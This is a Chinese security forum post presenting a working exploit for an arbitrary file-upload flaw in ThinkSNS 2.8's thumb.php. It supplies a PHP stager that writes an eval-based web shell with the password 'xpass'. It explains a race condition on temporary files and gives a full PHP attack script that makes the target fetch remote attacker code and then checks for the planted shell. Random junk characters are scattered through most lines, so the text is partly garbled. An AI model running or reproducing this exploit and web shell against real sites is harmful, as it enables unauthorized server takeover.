找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2278|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本) ~' y$ k4 }1 l# H2 ^
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
) r1 P; i8 I& T+ e& P漏洞文件
3 T. k& S9 G2 R) n/ v  ?* h( v& Y存在漏洞的文件为:thumb.php  }( R* v' H& z( b; @. \  v
作者:韦鲲鹏1 }; k+ G% T: j
1、        准备如下PHP文件并上传到服务器(自己的)。, V+ i1 m" |6 l& @1 e! t- P6 E
文件内容如下:, M2 i7 i* K1 g' X8 I. ?
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
0 F. w' p% y) \' W2、        计算出临时的文件名:# h/ V& r, x9 o: {( b& Q; r  W
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
; m5 t" F+ b) M, X1 e2 N  K' j0 g+ T% p+ i1 g  g
3、        上传临时文件。
- {# }+ y  ?' b  t& \4、        访问临时文件。
9 k; d0 s. G8 a0 n但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)0 p* i1 t% K( ~; V
Exploit文件内容如下:(这个我就不详细解释了)/ W5 I- K% i  c" _
<?php; e' W1 l9 v4 A9 e, E  w
error_reporting(0);7 p% N( J5 x8 X% C: v' J) C1 E
set_time_limit(0);
1 P6 Y9 I9 Y: F6 t! a* a7 {ini_set(“default_socket_timeout”, 5);
1 ]3 H0 T8 T, l0 u3 ~function http_send($host, $port, $headers) {) z% A% Z- j2 ^
$fp = fsockopen($host, $port);" z; ?: x$ P/ {1 K5 t. e& Q
if (!$fp) die(‘Connection -> fail’);
+ E( \, C, k) }+ J) a' }fputs($fp, $headers);" @+ _0 u& m! O( u+ s
return $fp;
0 |) ?' A0 z* V}- S: P" g2 a, D' u# z
function http_recv($fp) {3 U  a* Q4 I4 \/ r
$ret=”";
6 }2 z, A9 z5 W4 I" N# K  Twhile (!feof($fp))' h4 j! q, n# R6 {) D
$ret.= fgets($fp, 1024);
- @) i$ F+ C7 f+ `% t2 j. Mfclose($fp);
# ]$ [8 Y' P, y  |1 s3 jreturn $ret;: ~# X) F: V  y
}8 d2 s& Q1 ~( n* d# g+ C! U" X
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
0 W% s3 ^6 ^# L$ W, ^/ H# N4 j1 p8 ~print “# Discovered by 韦鲲鹏 #\n\n”;
+ c/ R, Z; K5 A, |& l5 e' N8 ^1 z( qif ($argc < 4) {0 n, [. S4 F8 ?* C2 g5 U
print “Usage:   php <host> <path> <romote_url>\n”;1 h9 X" Y( [; A% H) `
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;- b% @1 P& o( j6 E* y0 E& |; c
die();8 d+ o$ W# R0 G; m* l- y
}
7 U7 t& M. {2 H8 H$host = $argv[1];
) ~' F$ M! t2 _6 k7 X$path = $argv[2];
& c4 C3 B% v8 O, x1 w$url = $argv[3];" H5 e5 F8 Z; ~6 V3 ~
$i=0;
6 n# E4 X) {. |/ g//上传数据包) F  r9 k; G8 u9 `5 `# t. Q
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;8 u( x: f) n+ r! e6 q8 D7 m
$headers_up .= “Host: “.$host.”\r\n”;
9 T1 D5 d0 b1 R' p+ f1 u0 ^& s* z; j) g$headers_up .= “Connection: close\r\n\r\n”;
6 l# x* [, e$ a, Y) d; Z4 v# W6 Becho $headers_up;" I. P) @* v1 |+ J5 r/ ~
//临时文件访问数据包
5 s' s! |- d$ E7 |, {3 w$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
: D' j$ I+ z7 c5 O) `/ M3 x. q, ~$headers .= “Host: “.$host.”\r\n”;
' i$ `, H1 l* c# i. _$headers .= “Connection: close\r\n\r\n”;; W5 W2 D& L& t- i- d
echo $headers;
2 d  J$ C2 `  I3 z/ Jwhile(++$i<10) {
9 F+ l; v6 A3 l9 w2 Ffclose(http_send($host, 80, $headers));' }. f3 E# F" {6 T! {0 S6 @
}
8 \' h+ j0 A* h) {6 mfclose(http_send($host, 80, $headers_up));
. q* y, }, }' e2 awhile(++$i<50) {' s2 U  I2 l8 T% d9 u& t
fclose(http_send($host, 80, $headers));, }. b1 l8 h& L2 Z" `$ Q
}
- x! r# i0 c" l: _' o5 C5 g( [3 {6 ~$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;& \; g7 E% B, T' j* r: s
$headers .= “Host: “.$host.”\r\n”;
4 Q% K" a3 f; o6 ?$headers .= “Connection: close\r\n\r\n”;! L# y. }2 b% |- a1 Z
$res=http_recv(http_send($host, 80, $headers));
' {1 W8 [/ b7 hif(preg_match(‘/200 OK/’,$res)) {5 F0 J5 v+ A( ]3 n
print “Success!\n\n”;# K: t- Q  ~7 X) D. K: `
} else {
" m! p, c# S5 z$ F" H8 Kprint “Fail!\n\n”;
1 z# |( g0 d/ L- z  m! h( Y6 C. d}
* b3 M8 \% ]& h?>
, k% q) ?# v# U  O8 d7 j​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表